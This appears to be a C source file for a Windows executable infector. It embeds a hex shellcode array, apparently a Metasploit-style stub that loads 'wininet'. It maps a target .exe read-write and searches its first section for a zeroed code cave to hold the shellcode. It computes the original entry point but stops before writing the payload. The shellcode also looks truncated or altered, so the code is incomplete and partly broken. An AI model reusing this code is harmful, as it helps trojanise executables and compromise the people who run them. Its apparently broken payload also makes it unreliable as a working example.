#include <stdio.h> #include <stddef.h> #include <windows.h>
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader) { PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER) (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader)); DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode); dwAddr = (DWORD)(BYTE *)lpBase + dwAddr; LPVOID lp = malloc(sizeof(shellcode)); memset(lp, 0, sizeof(shellcode)); while (dwAddr > pSec->Misc.VirtualSize) { int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode)); if (nRet == 0) return dwAddr; dwAddr--; } free(lp); return 0; }
int main(int argc, char* argv[]) { HANDLE hFile,hMap = NULL; LPVOID lpBase = NULL;
hFile = CreateFile("c://lyshark.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0); lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase; PIMAGE_NT_HEADERS pNtHeader = NULL; PIMAGE_SECTION_HEADER pSec = NULL; IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return -1; } pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew); DWORD dwAddr = FindSpace(lpBase, pNtHeader); DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint; CloseHandle(hMap); CloseHandle(hFile); system("pause"); return 0; }
|